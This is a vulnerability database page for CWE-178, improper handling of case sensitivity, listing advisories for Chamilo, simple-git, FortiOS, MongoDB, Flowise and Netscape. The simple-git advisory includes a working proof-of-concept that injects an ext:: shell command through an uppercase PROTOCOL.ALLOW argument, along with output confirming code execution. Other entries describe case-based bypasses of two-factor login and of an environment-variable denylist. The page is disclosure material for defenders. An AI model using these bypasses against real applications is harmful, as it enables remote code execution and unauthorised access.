Common Weakness Enumeration

CWE-178

Allowed

Improper Handling of Case Sensitivity

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The product does not properly account for differences in case sensitivity when accessing or determining the properties of a resource, leading to inconsistent results.

196 vulnerabilities reference this CWE, most recent first.

GHSA-QRRC-369R-8GRR

Vulnerability from github – Published: 2023-11-28 09:30 – Updated: 2023-11-28 09:30
VLAI
Details

Improper sanitisation in main/inc/lib/fileUpload.lib.php in Chamilo LMS <= v1.11.20 on Windows and Apache installations allows unauthenticated attackers to bypass file upload security protections and obtain remote code execution via uploading of .htaccess file. This vulnerability may be exploited by privileged attackers or chained with unauthenticated arbitrary file write vulnerabilities, such as CVE-2023-3533, to achieve remote code execution.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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{
  "affected": [],
  "aliases": [
    "CVE-2023-3545"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-178"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-11-28T07:15:42Z",
    "severity": "CRITICAL"
  },
  "details": "Improper sanitisation in `main/inc/lib/fileUpload.lib.php` in Chamilo LMS \u003c= v1.11.20 on Windows and Apache installations allows unauthenticated attackers to bypass file upload security protections and obtain remote code execution via uploading of `.htaccess` file. This vulnerability may be exploited by privileged attackers or chained with unauthenticated arbitrary file write vulnerabilities, such as CVE-2023-3533, to achieve remote code execution.",
  "id": "GHSA-qrrc-369r-8grr",
  "modified": "2023-11-28T09:30:26Z",
  "published": "2023-11-28T09:30:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-3545"
    },
    {
      "type": "WEB",
      "url": "https://github.com/chamilo/chamilo-lms/commit/dc7bfce429fbd843a95a57c184b6992c4d709549"
    },
    {
      "type": "WEB",
      "url": "https://starlabs.sg/advisories/23/23-3545"
    },
    {
      "type": "WEB",
      "url": "https://support.chamilo.org/projects/chamilo-18/wiki/security_issues#Issue-125-2023-07-13-Critical-impact-Moderate-risk-Htaccess-File-Upload-Security-Bypass-on-Windows-CVE-2023-3545"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-R275-FR43-PM7Q

Vulnerability from github – Published: 2026-03-10 18:38 – Updated: 2026-04-14 21:57
VLAI
Summary
simple-git has blockUnsafeOperationsPlugin bypass via case-insensitive protocol.allow config key enables RCE
Details

Summary

The blockUnsafeOperationsPlugin in simple-git fails to block git protocol override arguments when the config key is passed in uppercase or mixed case. An attacker who controls arguments passed to git operations can enable the ext:: protocol by passing -c PROTOCOL.ALLOW=always, which executes an arbitrary OS command on the host machine.

Details

The preventProtocolOverride function in simple-git/src/lib/plugins/block-unsafe-operations-plugin.ts (line 24) checks whether a -c argument configures protocol.allow using this regex:

if (!/^\s*protocol(.[a-z]+)?.allow/.test(next)) {
   return;
}

This regex is case-sensitive. Git treats config key names case-insensitively — it normalises them to lowercase internally. As a result, passing PROTOCOL.ALLOW=always, Protocol.Allow=always, or any mixed-case variant is not matched by the regex, the check returns without throwing, and git is spawned with the unsafe argument.

Verification that git normalises the key:

$ git -c PROTOCOL.ALLOW=always config --list | grep protocol
protocol.allow=always

The fix is a single character — add the /i flag:

// Before (vulnerable):
if (!/^\s*protocol(.[a-z]+)?.allow/.test(next)) {

// After (fixed):
if (!/^\s*protocol(.[a-z]+)?.allow/i.test(next)) {

poc.js

/**
 * Proof of Concept — simple-git preventProtocolOverride Case-Sensitivity Bypass
 *
 * CVE-2022-25912 was fixed in simple-git@3.15.0 by adding a regex check
 * that blocks `-c protocol.*.allow=always` from being passed to git commands.
 * The regex is case-sensitive. Git treats config key names case-insensitively.
 * Passing `-c PROTOCOL.ALLOW=always` bypasses the check entirely.
 *
 * Affected : simple-git >= 3.15.0 (all versions with the fix applied)
 * Tested on: simple-git@3.32.2, Node.js v23.11.0, git 2.39.5
 * Reporter : CodeAnt AI Security Research (securityreseach@codeant.ai)
 */

const simpleGit = require('simple-git');
const fs = require('fs');

const SENTINEL = '/tmp/pwn-codeant';

// Clean up from any previous run
try { fs.unlinkSync(SENTINEL); } catch (_) {}

const git = simpleGit();

// ── Original CVE-2022-25912 vector — BLOCKED by the 2022 fix ────────────────
// This is the exact PoC Snyk used to report CVE-2022-25912.
// It is correctly blocked by preventProtocolOverride in block-unsafe-operations-plugin.ts.
git.clone('ext::sh -c touch% /tmp/pwn-original% >&2', '/tmp/example-new-repo', [
  '-c', 'protocol.ext.allow=always',   // lowercase — caught by regex
]).catch((e) => {
  console.log('ext:: executed:poc', fs.existsSync(SENTINEL) ? 'PWNED — ' + SENTINEL + ' created' : 'not created');
  console.error(e);
});

// ── Bypass — PROTOCOL.ALLOW=always (uppercase) ──────────────────────────────
// The fix regex /^\s*protocol(.[a-z]+)?.allow/ is case-sensitive.
// Git normalises config key names to lowercase internally.
// Uppercase variant passes the check; git enables ext:: and executes the command.
git.clone('ext::sh -c touch% ' + SENTINEL + '% >&2', '/tmp/example-new-repo-2', [
  '-c', 'PROTOCOL.ALLOW=always',       // uppercase — NOT caught by regex
]).catch((e) => {
  console.log('ext:: executed:', fs.existsSync(SENTINEL) ? 'PWNED — ' + SENTINEL + ' created' : 'not created');
  console.error(e);
});

// ── Real-world scenario ──────────────────────────────────────────────────────
// An application cloning a legitimate repository with user-controlled customArgs.
// Attacker supplies PROTOCOL.ALLOW=always alongside a malicious ext:: URL.
// The application intends to clone https://github.com/CodeAnt-AI/codeant-quality-gates
// but the injected argument enables ext:: and the real URL executes the command instead.
//
// Legitimate usage (what the app expects):
//   simpleGit().clone('https://github.com/CodeAnt-AI/codeant-quality-gates',
//                     '/tmp/codeant-quality-gates', userArgs)
//
// Attacker-controlled scenario (what actually runs when args are not sanitised):
const LEGITIMATE_URL = 'https://github.com/CodeAnt-AI/codeant-quality-gates';
const CLONE_DEST     = '/tmp/codeant-quality-gates';
const SENTINEL_RW    = '/tmp/pwn-realworld';
try { fs.unlinkSync(SENTINEL_RW); } catch (_) {}

const userArgs   = ['-c', 'PROTOCOL.ALLOW=always'];
const attackerURL = 'ext::sh -c touch% ' + SENTINEL_RW + '% >&2';

simpleGit().clone(
  attackerURL,   // should have been LEGITIMATE_URL
  CLONE_DEST,
  userArgs
).catch(() => {
  console.log('real-world scenario [target: ' + LEGITIMATE_URL + ']:',
    fs.existsSync(SENTINEL_RW) ? 'PWNED — ' + SENTINEL_RW + ' created' : 'not created');
});

Test Results

Vector 1 — Original CVE-2022-25912 (protocol.ext.allow=always, lowercase)

Result: BLOCKED ✅

The original Snyk PoC payload using lowercase protocol.ext.allow=always is correctly intercepted by preventProtocolOverride before git is invoked. A GitPluginError is thrown immediately and the sentinel file is never created.

Output:

ext:: executed:poc not created
GitPluginError: Configuring protocol.allow is not permitted without enabling allowUnsafeExtProtocol
    at preventProtocolOverride (.../simple-git/dist/cjs/index.js:1228:9)
    at .../simple-git/dist/cjs/index.js:1266:40
    at Array.forEach (<anonymous>)
    at Object.action (.../simple-git/dist/cjs/index.js:1264:12)
    at PluginStore.exec (.../simple-git/dist/cjs/index.js:1489:29)
    at GitExecutorChain.attemptRemoteTask (.../simple-git/dist/cjs/index.js:1881:36)
    at GitExecutorChain.attemptTask (.../simple-git/dist/cjs/index.js:1865:88) {
  task: {
    commands: [
      'clone',
      '-c',
      'protocol.ext.allow=always',
      'ext::sh -c touch% /tmp/pwn-original% >&2',
      '/tmp/example-new-repo'
    ],
    format: 'utf-8',
    parser: [Function: parser]
  },
  plugin: 'unsafe'
}

Vector 2 — Uppercase bypass (PROTOCOL.ALLOW=always)

Result: BYPASSED ⚠️ — RCE confirmed

The preventProtocolOverride regex /^\s*protocol(.[a-z]+)?.allow/ is case-sensitive. PROTOCOL.ALLOW=always (uppercase) passes the check without error. Git normalises config key names to lowercase internally, enabling the ext:: protocol. The injected shell command executes before git errors on the missing repository stream.

Output:

ext:: executed: PWNED — /tmp/pwn-codeant created
GitError: Cloning into '/tmp/example-new-repo-2'...
fatal: Could not read from remote repository.

Please make sure you have the correct access rights
and the repository exists.

    at Object.action (.../simple-git/dist/cjs/index.js:1440:25)
    at PluginStore.exec (.../simple-git/dist/cjs/index.js:1489:29) {
  task: {
    commands: [
      'clone',
      '-c',
      'PROTOCOL.ALLOW=always',
      'ext::sh -c touch% /tmp/pwn-codeant% >&2',
      '/tmp/example-new-repo-2'
    ],
    format: 'utf-8',
    parser: [Function: parser]
  }
}

/tmp/pwn-codeant was created by the git subprocess — command execution confirmed.

Vector 3 — Real-world scenario (target: https://github.com/CodeAnt-AI/codeant-quality-gates)

Result: BYPASSED ⚠️ — RCE confirmed

An application passes user-controlled customArgs to simpleGit().clone(). The attacker injects PROTOCOL.ALLOW=always and substitutes a malicious ext:: URL in place of the intended repository URL. The plugin does not block the uppercase variant; git enables ext:: and executes the payload before the application can detect the failure.

Output:

real-world scenario [target: https://github.com/CodeAnt-AI/codeant-quality-gates]: PWNED — /tmp/pwn-realworld created

/tmp/pwn-realworld was created — arbitrary command execution in a realistic application context confirmed.

Summary

# Vector Payload Sentinel file Result
1 CVE-2022-25912 original protocol.ext.allow=always (lowercase) not created Blocked ✅
2 Case-sensitivity bypass PROTOCOL.ALLOW=always (uppercase) /tmp/pwn-codeant created RCE ⚠️
3 Real-world app scenario PROTOCOL.ALLOW=always + attacker URL /tmp/pwn-realworld created RCE ⚠️

The case-sensitive regex in preventProtocolOverride blocks protocol.*.allow but does not account for uppercase or mixed-case variants. Git accepts all variants identically due to case-insensitive config key normalisation, allowing full bypass of the protection in all versions of simple-git that carry the 2022 fix.

/tmp/pwned is created by the git subprocess via the ext:: protocol.

All of the following bypass the check:

Argument passed via -c Regex matches? Git honours it?
protocol.allow=always ✅ blocked ✅
PROTOCOL.ALLOW=always ❌ bypassed ✅
Protocol.Allow=always ❌ bypassed ✅
PROTOCOL.allow=always ❌ bypassed ✅
protocol.ALLOW=always ❌ bypassed ✅

Impact

Any application that passes user-controlled values into the customArgs parameter of clone(), fetch(), pull(), push() or similar simple-git methods is vulnerable to arbitrary command execution on the host machine.

The ext:: git protocol executes an arbitrary binary as a remote helper. With protocol.allow=always enabled, an attacker can run any OS command as the process user — full read, write and execution access on the host.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "simple-git"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.15.0"
            },
            {
              "fixed": "3.32.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-28292"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-178",
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-10T18:38:56Z",
    "nvd_published_at": "2026-03-10T19:17:20Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nThe `blockUnsafeOperationsPlugin` in `simple-git` fails to block git protocol\noverride arguments when the config key is passed in uppercase or mixed case.\nAn attacker who controls arguments passed to git operations can enable the\n`ext::` protocol by passing `-c PROTOCOL.ALLOW=always`, which executes an\narbitrary OS command on the host machine.\n\n---\n\n### Details\n\nThe `preventProtocolOverride` function in\n`simple-git/src/lib/plugins/block-unsafe-operations-plugin.ts` (line 24)\nchecks whether a `-c` argument configures `protocol.allow` using this regex:\n\n```ts\nif (!/^\\s*protocol(.[a-z]+)?.allow/.test(next)) {\n   return;\n}\n```\n\nThis regex is case-sensitive. Git treats config key names\ncase-insensitively \u2014 it normalises them to lowercase internally.\nAs a result, passing `PROTOCOL.ALLOW=always`, `Protocol.Allow=always`,\nor any mixed-case variant is not matched by the regex, the check\nreturns without throwing, and git is spawned with the unsafe argument.\n\n**Verification that git normalises the key:**\n\n```bash\n$ git -c PROTOCOL.ALLOW=always config --list | grep protocol\nprotocol.allow=always\n```\n\n**The fix is a single character \u2014 add the `/i` flag:**\n\n```ts\n// Before (vulnerable):\nif (!/^\\s*protocol(.[a-z]+)?.allow/.test(next)) {\n\n// After (fixed):\nif (!/^\\s*protocol(.[a-z]+)?.allow/i.test(next)) {\n```\n\n---\n\n## poc.js\n\n```js\n/**\n * Proof of Concept \u2014 simple-git preventProtocolOverride Case-Sensitivity Bypass\n *\n * CVE-2022-25912 was fixed in simple-git@3.15.0 by adding a regex check\n * that blocks `-c protocol.*.allow=always` from being passed to git commands.\n * The regex is case-sensitive. Git treats config key names case-insensitively.\n * Passing `-c PROTOCOL.ALLOW=always` bypasses the check entirely.\n *\n * Affected : simple-git \u003e= 3.15.0 (all versions with the fix applied)\n * Tested on: simple-git@3.32.2, Node.js v23.11.0, git 2.39.5\n * Reporter : CodeAnt AI Security Research (securityreseach@codeant.ai)\n */\n\nconst simpleGit = require(\u0027simple-git\u0027);\nconst fs = require(\u0027fs\u0027);\n\nconst SENTINEL = \u0027/tmp/pwn-codeant\u0027;\n\n// Clean up from any previous run\ntry { fs.unlinkSync(SENTINEL); } catch (_) {}\n\nconst git = simpleGit();\n\n// \u2500\u2500 Original CVE-2022-25912 vector \u2014 BLOCKED by the 2022 fix \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n// This is the exact PoC Snyk used to report CVE-2022-25912.\n// It is correctly blocked by preventProtocolOverride in block-unsafe-operations-plugin.ts.\ngit.clone(\u0027ext::sh -c touch% /tmp/pwn-original% \u003e\u00262\u0027, \u0027/tmp/example-new-repo\u0027, [\n  \u0027-c\u0027, \u0027protocol.ext.allow=always\u0027,   // lowercase \u2014 caught by regex\n]).catch((e) =\u003e {\n  console.log(\u0027ext:: executed:poc\u0027, fs.existsSync(SENTINEL) ? \u0027PWNED \u2014 \u0027 + SENTINEL + \u0027 created\u0027 : \u0027not created\u0027);\n  console.error(e);\n});\n\n// \u2500\u2500 Bypass \u2014 PROTOCOL.ALLOW=always (uppercase) \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n// The fix regex /^\\s*protocol(.[a-z]+)?.allow/ is case-sensitive.\n// Git normalises config key names to lowercase internally.\n// Uppercase variant passes the check; git enables ext:: and executes the command.\ngit.clone(\u0027ext::sh -c touch% \u0027 + SENTINEL + \u0027% \u003e\u00262\u0027, \u0027/tmp/example-new-repo-2\u0027, [\n  \u0027-c\u0027, \u0027PROTOCOL.ALLOW=always\u0027,       // uppercase \u2014 NOT caught by regex\n]).catch((e) =\u003e {\n  console.log(\u0027ext:: executed:\u0027, fs.existsSync(SENTINEL) ? \u0027PWNED \u2014 \u0027 + SENTINEL + \u0027 created\u0027 : \u0027not created\u0027);\n  console.error(e);\n});\n\n// \u2500\u2500 Real-world scenario \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n// An application cloning a legitimate repository with user-controlled customArgs.\n// Attacker supplies PROTOCOL.ALLOW=always alongside a malicious ext:: URL.\n// The application intends to clone https://github.com/CodeAnt-AI/codeant-quality-gates\n// but the injected argument enables ext:: and the real URL executes the command instead.\n//\n// Legitimate usage (what the app expects):\n//   simpleGit().clone(\u0027https://github.com/CodeAnt-AI/codeant-quality-gates\u0027,\n//                     \u0027/tmp/codeant-quality-gates\u0027, userArgs)\n//\n// Attacker-controlled scenario (what actually runs when args are not sanitised):\nconst LEGITIMATE_URL = \u0027https://github.com/CodeAnt-AI/codeant-quality-gates\u0027;\nconst CLONE_DEST     = \u0027/tmp/codeant-quality-gates\u0027;\nconst SENTINEL_RW    = \u0027/tmp/pwn-realworld\u0027;\ntry { fs.unlinkSync(SENTINEL_RW); } catch (_) {}\n\nconst userArgs   = [\u0027-c\u0027, \u0027PROTOCOL.ALLOW=always\u0027];\nconst attackerURL = \u0027ext::sh -c touch% \u0027 + SENTINEL_RW + \u0027% \u003e\u00262\u0027;\n\nsimpleGit().clone(\n  attackerURL,   // should have been LEGITIMATE_URL\n  CLONE_DEST,\n  userArgs\n).catch(() =\u003e {\n  console.log(\u0027real-world scenario [target: \u0027 + LEGITIMATE_URL + \u0027]:\u0027,\n    fs.existsSync(SENTINEL_RW) ? \u0027PWNED \u2014 \u0027 + SENTINEL_RW + \u0027 created\u0027 : \u0027not created\u0027);\n});\n```\n\n---\n\n## Test Results\n\n### Vector 1 \u2014 Original CVE-2022-25912 (`protocol.ext.allow=always`, lowercase)\n\n**Result: BLOCKED \u2705**\n\nThe original Snyk PoC payload using lowercase `protocol.ext.allow=always` is correctly intercepted by `preventProtocolOverride` before git is invoked. A `GitPluginError` is thrown immediately and the sentinel file is never created.\n\n**Output:**\n```\next:: executed:poc not created\nGitPluginError: Configuring protocol.allow is not permitted without enabling allowUnsafeExtProtocol\n    at preventProtocolOverride (.../simple-git/dist/cjs/index.js:1228:9)\n    at .../simple-git/dist/cjs/index.js:1266:40\n    at Array.forEach (\u003canonymous\u003e)\n    at Object.action (.../simple-git/dist/cjs/index.js:1264:12)\n    at PluginStore.exec (.../simple-git/dist/cjs/index.js:1489:29)\n    at GitExecutorChain.attemptRemoteTask (.../simple-git/dist/cjs/index.js:1881:36)\n    at GitExecutorChain.attemptTask (.../simple-git/dist/cjs/index.js:1865:88) {\n  task: {\n    commands: [\n      \u0027clone\u0027,\n      \u0027-c\u0027,\n      \u0027protocol.ext.allow=always\u0027,\n      \u0027ext::sh -c touch% /tmp/pwn-original% \u003e\u00262\u0027,\n      \u0027/tmp/example-new-repo\u0027\n    ],\n    format: \u0027utf-8\u0027,\n    parser: [Function: parser]\n  },\n  plugin: \u0027unsafe\u0027\n}\n```\n\n---\n\n### Vector 2 \u2014 Uppercase bypass (`PROTOCOL.ALLOW=always`)\n\n**Result: BYPASSED \u26a0\ufe0f \u2014 RCE confirmed**\n\nThe `preventProtocolOverride` regex `/^\\s*protocol(.[a-z]+)?.allow/` is case-sensitive. `PROTOCOL.ALLOW=always` (uppercase) passes the check without error. Git normalises config key names to lowercase internally, enabling the `ext::` protocol. The injected shell command executes before git errors on the missing repository stream.\n\n**Output:**\n```\next:: executed: PWNED \u2014 /tmp/pwn-codeant created\nGitError: Cloning into \u0027/tmp/example-new-repo-2\u0027...\nfatal: Could not read from remote repository.\n\nPlease make sure you have the correct access rights\nand the repository exists.\n\n    at Object.action (.../simple-git/dist/cjs/index.js:1440:25)\n    at PluginStore.exec (.../simple-git/dist/cjs/index.js:1489:29) {\n  task: {\n    commands: [\n      \u0027clone\u0027,\n      \u0027-c\u0027,\n      \u0027PROTOCOL.ALLOW=always\u0027,\n      \u0027ext::sh -c touch% /tmp/pwn-codeant% \u003e\u00262\u0027,\n      \u0027/tmp/example-new-repo-2\u0027\n    ],\n    format: \u0027utf-8\u0027,\n    parser: [Function: parser]\n  }\n}\n```\n\n`/tmp/pwn-codeant` was created by the git subprocess \u2014 command execution confirmed.\n\n---\n\n### Vector 3 \u2014 Real-world scenario (target: `https://github.com/CodeAnt-AI/codeant-quality-gates`)\n\n**Result: BYPASSED \u26a0\ufe0f \u2014 RCE confirmed**\n\nAn application passes user-controlled `customArgs` to `simpleGit().clone()`. The attacker injects `PROTOCOL.ALLOW=always` and substitutes a malicious `ext::` URL in place of the intended repository URL. The plugin does not block the uppercase variant; git enables `ext::` and executes the payload before the application can detect the failure.\n\n**Output:**\n```\nreal-world scenario [target: https://github.com/CodeAnt-AI/codeant-quality-gates]: PWNED \u2014 /tmp/pwn-realworld created\n```\n\n`/tmp/pwn-realworld` was created \u2014 arbitrary command execution in a realistic application context confirmed.\n\n---\n\n## Summary\n\n| # | Vector | Payload | Sentinel file | Result |\n|---|--------|---------|---------------|--------|\n| 1 | CVE-2022-25912 original | `protocol.ext.allow=always` (lowercase) | not created | Blocked \u2705 |\n| 2 | Case-sensitivity bypass | `PROTOCOL.ALLOW=always` (uppercase) | `/tmp/pwn-codeant` created | **RCE \u26a0\ufe0f** |\n| 3 | Real-world app scenario | `PROTOCOL.ALLOW=always` + attacker URL | `/tmp/pwn-realworld` created | **RCE \u26a0\ufe0f** |\n\nThe case-sensitive regex in `preventProtocolOverride` blocks `protocol.*.allow` but does not account for uppercase or mixed-case variants. Git accepts all variants identically due to case-insensitive config key normalisation, allowing full bypass of the protection in all versions of simple-git that carry the 2022 fix.\n\n`/tmp/pwned` is created by the git subprocess via the `ext::` protocol.\n\nAll of the following bypass the check:\n\n| Argument passed via `-c` | Regex matches? | Git honours it? |\n|--------------------------|:--------------:|:---------------:|\n| `protocol.allow=always`  | \u2705 blocked     | \u2705              |\n| `PROTOCOL.ALLOW=always`  | \u274c bypassed    | \u2705              |\n| `Protocol.Allow=always`  | \u274c bypassed    | \u2705              |\n| `PROTOCOL.allow=always`  | \u274c bypassed    | \u2705              |\n| `protocol.ALLOW=always`  | \u274c bypassed    | \u2705              |\n\n---\n\n### Impact\n\nAny application that passes user-controlled values into the `customArgs`\nparameter of `clone()`, `fetch()`, `pull()`, `push()` or similar `simple-git`\nmethods is vulnerable to arbitrary command execution on the host machine.\n\nThe `ext::` git protocol executes an arbitrary binary as a remote helper.\nWith `protocol.allow=always` enabled, an attacker can run any OS command\nas the process user \u2014 full read, write and execution access on the host.",
  "id": "GHSA-r275-fr43-pm7q",
  "modified": "2026-04-14T21:57:58Z",
  "published": "2026-03-10T18:38:56Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/steveukx/git-js/security/advisories/GHSA-r275-fr43-pm7q"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28292"
    },
    {
      "type": "WEB",
      "url": "https://github.com/steveukx/git-js/commit/f7042088aa2dac59e3c49a84d7a2f4b26048a257"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/steveukx/git-js"
    },
    {
      "type": "WEB",
      "url": "https://www.codeant.ai/security-research/security-research-simple-git-remote-code-execution-cve-2026-28292"
    },
    {
      "type": "WEB",
      "url": "https://www.codeant.ai/security-research/simple-git-remote-code-execution-cve-2026-28292"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "simple-git has blockUnsafeOperationsPlugin bypass via case-insensitive protocol.allow config key enables RCE"
}

GHSA-R9CJ-Q2HJ-HFQ9

Vulnerability from github – Published: 2022-05-24 17:24 – Updated: 2025-10-22 00:31
VLAI
Details

An improper authentication vulnerability in SSL VPN in FortiOS 6.4.0, 6.2.0 to 6.2.3, 6.0.9 and below may result in a user being able to log in successfully without being prompted for the second factor of authentication (FortiToken) if they changed the case of their username.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2020-12812"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-178",
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-07-24T23:15:00Z",
    "severity": "HIGH"
  },
  "details": "An improper authentication vulnerability in SSL VPN in FortiOS 6.4.0, 6.2.0 to 6.2.3, 6.0.9 and below may result in a user being able to log in successfully without being prompted for the second factor of authentication (FortiToken) if they changed the case of their username.",
  "id": "GHSA-r9cj-q2hj-hfq9",
  "modified": "2025-10-22T00:31:56Z",
  "published": "2022-05-24T17:24:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-12812"
    },
    {
      "type": "WEB",
      "url": "https://fortiguard.com/psirt/FG-IR-19-283"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2020-12812"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-RG3J-HVQV-CCPR

Vulnerability from github – Published: 2026-09-08 18:31 – Updated: 2026-09-08 18:31
VLAI
Details

Improper handling of case sensitivity in the configuration validation component of MongoDB Server may cause the authorization subsystem to remain in a default disabled state during server startup. An unauthenticated user with network access to a deployment where this condition occurs can perform arbitrary administrative operations, resulting in full impact of data confidentiality, integrity, and availability.

Severity
8.1 (High)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
9.2 (Critical)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-82067"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-178"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-08T17:18:35Z",
    "severity": "CRITICAL"
  },
  "details": "Improper handling of case sensitivity in the configuration validation component of MongoDB Server may cause the authorization subsystem to remain in a default disabled state during server startup. An unauthenticated user with network access to a deployment where this condition occurs can perform arbitrary administrative operations, resulting in full impact of data confidentiality, integrity, and availability.",
  "id": "GHSA-rg3j-hvqv-ccpr",
  "modified": "2026-09-08T18:31:59Z",
  "published": "2026-09-08T18:31:59Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-82067"
    },
    {
      "type": "WEB",
      "url": "https://jira.mongodb.org/browse/SERVER-131229"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-RQQR-M697-6JQ3

Vulnerability from github – Published: 2026-06-28 03:33 – Updated: 2026-06-28 03:33
VLAI
Details

Flowise before 3.1.3 validates Custom MCP stdio environment variables against a denylist using a case-sensitive comparison, so on Windows, where environment names are case-insensitive, supplying 'node_options' bypasses the NODE_OPTIONS denylist entry. An authenticated user who can configure a Custom MCP node can thereby inject NODE_OPTIONS --require and execute arbitrary code in the Flowise server context.

Severity
5.0 (Medium)
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L
2.3 (Low)
CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-58057"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-178"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-28T02:16:32Z",
    "severity": "LOW"
  },
  "details": "Flowise before 3.1.3 validates Custom MCP stdio environment variables against a denylist using a case-sensitive comparison, so on Windows, where environment names are case-insensitive, supplying \u0027node_options\u0027 bypasses the NODE_OPTIONS denylist entry. An authenticated user who can configure a Custom MCP node can thereby inject NODE_OPTIONS --require and execute arbitrary code in the Flowise server context.",
  "id": "GHSA-rqqr-m697-6jq3",
  "modified": "2026-06-28T03:33:40Z",
  "published": "2026-06-28T03:33:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-58057"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/pull/6471"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bikini/exploitarium/tree/main/flowise-mcp-env-case-bypass-poc"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/flowise-custom-mcp-environment-variable-denylist-bypass-via-case-sensitivity"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-VCJQ-7HCJ-XH74

Vulnerability from github – Published: 2022-04-30 18:10 – Updated: 2024-02-02 03:30
VLAI
Details

Netscape FastTrack Web server lists files when a lowercase "get" command is used instead of an uppercase GET.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-1999-0239"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-178"
